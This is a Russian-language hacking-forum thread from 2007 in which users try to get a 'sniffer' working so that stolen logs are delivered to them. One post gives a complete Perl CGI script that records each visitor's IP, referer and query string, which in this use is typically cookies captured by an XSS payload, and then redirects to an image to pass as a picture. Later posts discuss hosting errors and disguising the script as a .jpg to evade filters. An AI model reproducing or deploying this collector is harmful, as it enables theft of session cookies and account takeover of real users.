Раз из - за глюка все сообщения пропали, то повторно прошу о помощи... Помогите пожалуйста правильно подписаться на сниффер, чтобы на мыло приходили логи!
Слушай, скажи как ты сниффер установил?
Пробывал на фатале и не фига не вышла (на другом хосте тож пробывал).
Или это не рабочий сниффер?:
Код:
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
Последний раз редактировалось blaga; 02.04.2007 в 12:07..
как я уже сам убедился снифер на бесплатном хостинге практически бесполезен. Только рефери ты сможешь найти это раз.... Два это то чно снифер лучше делать на php... вроде мароки меньше. может я и неправ. могу дать рабочий снифер на php исходник свой....
У меня и платный хост есть и вот что мне там пишет:
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@ and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Только как ты не бесплатном хостинге заставиш апач передавать управление php (или perl) для расширения jpg. А если НЕ маскировать под картинку то смысла нет... ИМХО фильтрация работает